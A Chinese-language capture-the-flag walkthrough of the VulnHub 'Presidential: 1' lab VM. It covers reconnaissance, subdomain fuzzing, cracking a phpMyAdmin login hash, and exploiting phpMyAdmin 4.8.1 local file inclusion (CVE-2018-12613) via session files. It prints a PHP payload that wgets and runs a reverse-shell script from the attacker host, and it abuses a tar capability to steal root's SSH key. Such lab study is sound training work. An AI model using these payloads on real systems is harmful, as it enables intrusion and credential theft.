环境搭建

官网地址:https://www.vulnhub.com/entry/presidential-1,500/
靶机下载地址: https://download.vulnhub.com/presidential/Presidential.ova.torrent
靶机下载完成后将.ova文件导入VMWare
Presidential-01_php
网卡设置为NET模式
Presidential-01_子域名_02

环境:

kali:192.168.164.137
Presidential:192.168.164.178

信息收集

扫描主机

nmap -sP 192.168.164.0/24

Presidential-01_根目录_03
得到目标靶机的ip地址为192.168.102.134
接着进行端口扫描

nmap -A 192.168.164.178 -p 1-65535

Presidential-01_根目录_04
扫描得到目标靶机开放了80端口和2082端口,分别为http和ssh端口
访问80端口:
Presidential-01_php_05
进行指纹识别:

whatweb http://192.168.164.178

Presidential-01_php_06
可获得一些信息,php版本,Apache版本等。
使用dirsearch扫描该网站

./dirsearch.py -u http://192.168.164.178 -e*

Presidential-01_根目录_07
扫到了一个config.php但是里面什么也没有,还有一个.bak备份文件,访问为空白,习惯性ctrl+u查看源码:
Presidential-01_子域名_08
获得了数据库的配置信息,包括数据库用户名,用户密码等信息。但是服务器没有开启数据库端口,扫描目录也未发现登陆数据库的地方。这时候不难想到一个ip可能绑定多个域名,或许可以通过查找其子域名来发现突破点。
首页发现邮件信息:
Presidential-01_子域名_09
votenow.local
将其添加到/etc/hosts中
Presidential-01_子域名_10
可以正常访问:
Presidential-01_子域名_11
接下来爆破子域名,使用subrake或wfuzz工具进行爆破。

wfuzz -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -H "Host: FUZZ.votenow.local" --hw 854 --hc 400 votenow.local

Presidential-01_php_12
找到一个datasafe的子域名
添加到host进行访问
Presidential-01_数据库_13
输入获得的账户名及密码即可登录。

getshell

在users表中找到admin及加密了的一串密码
Presidential-01_数据库_14
使用john进行解密

john --wordlist=/usr/share/wordlists/rockyou.txt --format=md5crypt 1.txt

破解出来的密码为Stella尝试ssh登录一下
Presidential-01_php_15
显示连接被拒绝。
可以通过phpmyadmin查看其版本为4.8.1
Presidential-01_根目录_16
通过网络上搜索,发现存在本地文件包含漏洞(CVE-2018-12613)
首先执行

select '<?php phpinfo();exit;?>'

Presidential-01_ide_17
之后再包含session文件

http://datasafe.votenow.local/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_3fel8hnjgqlpplu32s836aqgbhg990ib

Presidential-01_数据库_18
可以看到成功执行了php代码,使用同样的方法进行反弹shell
先在kali的网站根目录创建一个shell.sh来供靶机下载
Presidential-01_ide_19
之后执行sql语句

select '<?php system("wget 192.168.164.137/shell.sh; chmod +x shell.sh; bash shell.sh");exit;?>'

Presidential-01_ide_20
执行完后在kali中监听1100端口
Presidential-01_数据库_21

提权

直接su提权试一下
Presidential-01_数据库_22
根目录的notes.txt文件提示的大概意思就是让我们使用压缩的命令
Presidential-01_根目录_23
使用tars
查看tar的位置

whereis tar

Presidential-01_子域名_24

Presidential-01_根目录_25
在浏览过程中发现了tarS命令,该命令应该就是提示中所指的新的压缩备份命令了
在linux中引入了capabilities 机制对 root 权限进行细粒度的控制,实现按需授权,从而减小系统的安全攻击面。与SUID相似,可以限制用户的权限。 查看文件系统中具有capabilities的文件进入文件位置
Presidential-01_子域名_26
可以看到tarS命令具有 cap_dac_read_search功能。它可以绕过文件读权限检查,这样我们就可以读取任何我们想要读取的文件

我们可以通过读取root用户的SSH私钥来进行免密登陆

cd /tmp
tarS -cvf key.tar /root/.ssh/id_rsa
tar -xvf key.tar
cd root/.ssh
ssh -i id_rsa root@localhost -p 2082